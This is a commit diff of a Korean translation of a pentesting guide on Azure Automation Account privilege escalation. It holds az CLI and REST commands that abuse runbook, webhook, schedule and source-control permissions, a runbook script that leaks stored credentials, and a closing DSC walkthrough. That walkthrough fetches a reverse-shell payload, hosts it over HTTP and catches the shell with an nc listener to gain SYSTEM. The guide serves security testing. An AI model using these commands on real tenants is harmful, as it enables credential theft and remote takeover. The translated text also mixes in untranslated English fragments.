Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-21 21:07:59 +00:00
parent 421f7729fd
commit 7e7077bb2d

View File

@@ -12,29 +12,29 @@
### Hybrid Workers Group
- **자동화 계정에서 VM으로**
- **From the Automation Account to the VM**
어떤 방법으로든 공격자가 하이브리드 작업자에서 임의의 런북(임의 코드)을 실행할 수 있다면, 그는 **VM의 위치로 피벗할 것입니다**. 이는 온프레미스 머신, 다른 클라우드의 VPC 또는 Azure VM일 수 있습니다.
공격자가 hybrid worker에서 임의의 runbook(임의 코드)을 실행할 수 있다면, 그는 **pivot to the location of the VM**. 이는 온프레미스 머신, 다른 클라우드의 VPC 또는 Azure VM일 수 있습니다.
게다가, 하이브리드 작업자가 Azure에서 다른 관리 ID와 함께 실행되고 있다면, 런북**런북의 관리 ID와 VM의 모든 관리 ID에 접근할 수 있습니다**.
또한, hybrid worker가 Azure에서 다른 Managed Identities가 연결된 상태로 실행 중이라면, runbook은 **managed identity of the runbook and all the managed identities of the VM from the metadata service**에 접근할 수 있습니다.
> [!TIP]
> **메타데이터 서비스**는 자동화 계정의 관리 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있다는 점을 기억하세요 (**`IDENTITY_ENDPOINT`**).
> 기억하세요: **metadata service**는 automation account의 managed identities 토큰을 가져오는 서비스(**`IDENTITY_ENDPOINT`**)와 다른 URL(**`http://169.254.169.254`**)을 사용합니다.
- **VM에서 자동화 계정으로**
- **From the VM to the Automation Account**
게다가, 누군가 자동화 계정 스크립트가 실행되고 있는 VM을 손상시키면, 그는 **자동화 계정** 메타데이터를 찾 VM에서 이를 접근하여 **자동화 계정에 연결된 관리 ID**의 토큰을 얻을 수 있습니다.
또한 누군가 automation account 스크립트가 실행 중인 VM을 침해하면, 그는 **Automation Account** 메타데이터를 찾 VM에서 접근하여 Automation Account에 연결된 **Managed Identities**의 토큰을 얻을 수 있습니다.
다음 이미지에서 볼 수 있듯이, VM에 대한 관리자 접근 권한이 있으면 **프로세스의 환경 변수**에서 자동화 계정 메타데이터 서비스에 접근하기 위한 URL과 비밀을 찾을 수 있습니다:
다음 이미지에서 볼 수 있듯이, VM에서 Administrator 권한을 가지면 프로세스의 **environment variables of the process**에서 automation account metadata service에 접근하기 위한 URL과 시크릿을 찾을 수 있습니다:
![](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
요약하면, 이러한 권한은 **자동화 계정에서 런북을 생성, 수정 및 실행**할 수 있게 하며, 이를 통해 **자동화 계정의 컨텍스트에서 코드를 실행**하고 할당된 **관리 ID**에 대한 권한 상승시키며, 자동화 계정에 저장된 **자격 증명** 및 **암호화된 변수**를 유출할 수 있습니다.
요약하면, 이러한 권한은 Automation Account에서 **create, modify and run Runbooks**을 허용하며, 이를 통해 Automation Account 컨텍스트에서 **execute code**하고 할당된 **Managed Identities**로 권한 상승을 하며, Automation Account에 저장된 leak **credentials** 및 **encrypted variables**를 획득할 수 있습니다.
권한 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`**는 자동화 계정에서 런북의 코드를 수정할 수 있게 해줍니다:
권한 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`**은 Automation Account 내 Runbook의 코드를 다음을 사용하여 수정할 수 있게 니다:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -47,16 +47,16 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
이전 스크립트를 사용하여 **사용자 이름과 비밀번호**를 **유출**하고 Automation Account에 저장된 **암호화된 변수** 값을 얻을 수 있음을 주목하십시오.
이전 스크립트가 Automation Account에 저장된 credential의 **leak the useranmd and password**와 **encrypted variable** 값을 유출하는 데 어떻게 사용될 수 있는지 주목하세요.
권한 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** 사용자가 Automation Account에서 Runbook을 게시할 수 있도록 하여 변경 사항이 적용되도록 합니다:
권한 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** 은(는) 사용자가 Automation Account에서 Runbook을 publish하여 변경사항이 적용되도록 허용합니다:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
권한 **`Microsoft.Automation/automationAccounts/jobs/write`**는 사용자가 Automation Account에서 Runbook을 실행할 수 있도록 허용합니다:
권한 **`Microsoft.Automation/automationAccounts/jobs/write`**는 사용자가 다음을 사용하여 Automation Account에서 Runbook을 실행할 수 있합니다:
```bash
az automation runbook start \
--automation-account-name <account-name> \
@@ -64,18 +64,18 @@ az automation runbook start \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
권한 **`Microsoft.Automation/automationAccounts/jobs/output/read`** 사용자가 Automation Account에서 작업의 출력을 읽을 수 있도록 허용합니다:
권한 **`Microsoft.Automation/automationAccounts/jobs/output/read`** 사용자가 Automation Account에서 작업의 출력을 다음을 사용하여 읽을 수 있도록 허용합니다:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Runbook 생성되지 않거나 새로 만들고 싶다면, 다음을 사용하여 수행하기 위해 **권한 `Microsoft.Resources/subscriptions/resourcegroups/read` `Microsoft.Automation/automationAccounts/runbooks/write`**가 필요합니다:
Runbooks가 생성되어 있지 않거나 새로 만들고 싶다면, 이를 수행하려면 **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` and `Microsoft.Automation/automationAccounts/runbooks/write`**가 필요합니다:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
이 권한은 사용자가 Automation Account에 **사용자 관리형 ID** 할당할 수 있도록 허용합니다:
이 권한은 사용자가 다음을 사용하여 Automation Account에 **assign a user managed identity** 할당할 수 있도록 허용합니다:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -91,9 +91,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
권한 **`Microsoft.Automation/automationAccounts/schedules/write`**를 사용하면 다음 명령을 사용하여 15분마다 실행되는 새로운 스케줄을 자동화 계정에 생성할 수 있습니다 (그리 은밀하지 않).
권한 **`Microsoft.Automation/automationAccounts/schedules/write`** 를 사용하면 다음 명령으로 Automation Account에 새 Schedule을 생성할 수 있으며, 이 Schedule은 15분마다 실행됩니다(그다지 은밀하지 않습니다).
스케줄의 **최소 간격은 15분**이며, **최소 시작 시간은 5분** 후입니다.
참고: **Schedule의 최소 간격은 15분입니다**, 그리고 **최소 시작 시간은 향후 5분 이후여야 합니다**.
```bash
## For linux
az automation schedule create \
@@ -115,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
그런 다음, 권한 **`Microsoft.Automation/automationAccounts/jobSchedules/write`**를 사용하여 다음을 통해 런북에 스케줄러를 할당할 수 있습니다:
그런 다음, 권한 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** 가 있으면 Scheduler를 runbook에 할당할 수 있습니다:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -134,22 +134,40 @@ az rest --method PUT \
}'
```
> [!TIP]
> 이전 예제에서 jobchedule id **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` 예시로** 남겨졌지만, 이 할당을 생성하려면 임의의 값을 사용해야 합니다.
> 이전 예제에서 jobchedule id **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple**아 있었지만, 이 할당을 생성하려면 임의의 값을 사용해야 합니다.
### `Microsoft.Automation/automationAccounts/webhooks/write`
권한 **`Microsoft.Automation/automationAccounts/webhooks/write`**를 사용하면 다음 명령어를 통해 Automation Account 내 Runbook에 대한 새로운 Webhook을 생성할 수 있습니다.
권한 **`Microsoft.Automation/automationAccounts/webhooks/write`**이 있으면 다음 명령 중 하나를 사용하여 Automation Account 내 Runbook용 새 Webhook을 생성할 수 있습니다.
Azure Powershell를 사용하여:
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
이 명령은 생성 시에만 표시되는 웹훅 URI를 반환해야 합니다. 그런 다음, 웹훅 URI를 사용하여 런북을 호출합니다.
AzureCLI와 REST를 사용하여:
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
```
이 명령들은 생성 시에만 표시되는 webhook URI를 반환해야 합니다. 그런 다음, webhook URI를 사용하여 runbook을 호출하려면
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
`Microsoft.Automation/automationAccounts/runbooks/draft/write` 권한만으로 **Runbook의 코드를 업데이트**하고 이를 게시하지 않 다음 명령어를 사용하여 실행할 수 있습니다.
권한 `Microsoft.Automation/automationAccounts/runbooks/draft/write`만으로 **Runbook의 코드를 업데이트**하고 게시하지 않은 상태로 다음 명령으로 실행할 수 있습니다.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
이 권한은 사용자가 다음과 같은 명령을 사용하여 Automation Account에 대 **소스 제어를 구성**할 수 있도록 허용합니다(여기서는 Github을 예로 사용합니다):
이 권한은 사용자가 다음과 같은 명령을 사용하여 Automation Account에 대 **소스 컨트롤을 구성**할 수 있도록 허용한다(이 예제는 Github를 사용함):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -190,16 +208,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
이것은 자동으로 Github 저장소에서 Automation Account로 runbook을 가져오, 이를 실행하기 위한 다른 권한이 있으면 **권한 상승**이 **가능**합니다.
이것은 Github 리포지토리에서 runbooks를 Automation Account로 자동으로 가져오, 이를 실행하기 위한 몇 가지 다른 권한이 있으면 **possible to escalate privileges**.
또한, Automation Accounts에서 소스 제어가 작동하려면 관리되는 ID가 **`Contributor`** 역할을 가져야 하, 사용자 관리 ID인 경우 MI의 클라이언트 ID는 변수 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**에 지정되어야 합니다.
또한, source control가 Automation Accounts에서 작동하려면 역할이 **`Contributor`**인 managed identity를 가져야 하, 만약 user managed identity라면 MI의 cleint id가 변수 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**에 지정되어야 한다는 것을 기억하라.
> [!TIP]
> 생성된 후에는 소스 제어의 repo URL을 변경할 수 없다는 점에 유의하세요.
> 생성된 후에는 source control의 repo URL을 변경할 수 없다는 점에 유의하.
### `Microsoft.Automation/automationAccounts/variables/write`
권한 **`Microsoft.Automation/automationAccounts/variables/write`**가 있으면 다음 명령을 사용하여 Automation Account에 변수를 쓸 수 있습니다.
권한 **`Microsoft.Automation/automationAccounts/variables/write`**으로 다음 명령을 사용 Automation Account에 변수를 쓸 수 있다.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -215,51 +233,51 @@ az rest --method PUT \
```
### 사용자 정의 런타임 환경
자동화 계정이 사용자 정의 런타임 환경을 사용하고 있다면, 런타임의 사용자 정의 패키지를 악성 코드(예: **백도어**)로 덮어쓸 수 있을 가능성이 있습니다. 이렇게 하면 해당 사용자 정의 런타임을 사용하는 런북이 실행되고 사용자 정의 패키지를 로드할 때마다 악성 코드가 실행됩니다.
만약 automation account가 사용자 정의 런타임 환경을 사용하고 있다면, 런타임의 사용자 정의 패키지를 악성 코드(예: **a backdoor**)로 덮어쓸 수 있을 가능성이 있습니다. 이렇게 하면 해당 사용자 정의 런타임을 사용하는 runbook이 실행되어 그 패키지를 로드할 때마다 악성 코드가 실행됩니다.
### 상태 구성 손상
**전체 게시물 확인:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- 1단계 — 파일 생성
- Step 1 — 파일 생성
**필요한 파일:** 두 개의 PowerShell 스크립트가 필요합니다:
1. `reverse_shell_config.ps1`: 페이로드를 가져오고 실행하는 Desired State Configuration (DSC) 파일입니다. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)에서 얻을 수 있습니다.
2. `push_reverse_shell_config.ps1`: VM에 구성을 게시하는 스크립트로, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)에서 사용할 수 있습니다.
**필요한 파일:** PowerShell 스크립트 두 개가 필요합니다:
1. `reverse_shell_config.ps1`: Desired State Configuration (DSC) 파일로 payload를 가져와 실행합니다. 해당 파일은 다음에서 얻을 수 있습니다: [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: 구성을 VM에 게시(publish)하는 스크립트입니다. 파일은 다음에서 확인할 수 있습니다: [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**사용자 정의:**러한 파일의 변수와 매개변수는 리소스 이름, 파일 경로 서버/페이로드 식별자를 포함하여 사용자의 특정 환경에 맞게 조정야 합니다.
**맞춤 설정:** 이 파일의 변수와 매개변수는 리소스 이름, 파일 경로, 서버/payload 식별자 등 사용자의 특정 환경에 맞게 조정되어야 합니다.
- 2단계 — 구성 파일 압축
- Step 2 — 구성 파일 압축
`reverse_shell_config.ps1` `.zip` 파일로 압축되어 Azure Storage Account로 전송할 준비가 됩니다.
`reverse_shell_config.ps1` `.zip` 파일로 압축되어 Azure Storage Account로 전송할 준비가 됩니다.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Step 3 — 저장소 컨텍스트 설정 및 업로드
- 3단계 — Storage 컨텍스트 설정 및 업로드
압축된 구성 파일은 Azure의 Set-AzStorageBlobContent cmdlet을 사용하여 미리 정의된 Azure Storage 컨테이너인 azure-pentest에 업로드됩니다.
압축된 구성 파일은 Azure의 Set-AzStorageBlobContent cmdlet을 사용하여 사전 정의된 Azure Storage 컨테이너인 azure-pentest에 업로드됩니다.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Step 4 — Prep Kali Box
- 4단계 — Kali Box 준비
Kali 서버는 GitHub 리포지토리에서 RevPS.ps1 페이로드를 다운로드합니다.
Kali 서버는 GitHub 저장소에서 RevPS.ps1 payload를 다운로드합니다.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
스크립트는 대상 Windows VM과 리버스 셸을 위한 포트를 지정하도록 수정됩니다.
스크립트는 대상 Windows VM과 reverse shell의 포트를 지정하도록 편집됩니다.
- Step 5 — 구성 파일 게시
- 5단계 — 구성 파일 게시
구성 파일이 실행되어 리버스 셸 스크립트가 Windows VM의 지정된 위치에 배포됩니다.
구성 파일이 실행되면 reverse shell 스크립트가 Windows VM의 지정된 위치에 배포됩니다.
- Step 6 — 페이로드 호스팅 및 리스너 설정
- 6단계 — Payload 호스팅 및 Listener 설정
페이로드를 호스팅하기 위해 Python SimpleHTTPServer가 시작되, 들어오는 연결을 캡처하기 위해 Netcat 리스너가 설정됩니다.
Payload를 호스팅하기 위해 Python SimpleHTTPServer가 시작되, 들어오는 연결을 캡처하기 위해 Netcat 리스너가 함께 실행됩니다.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
예약된 작업이 페이로드를 실행하여 SYSTEM 수준의 권한을 획득합니다.
예약된 작업이 payload를 실행하여 SYSTEM 수준의 권한을 획득합니다.
{{#include ../../../banners/hacktricks-training.md}}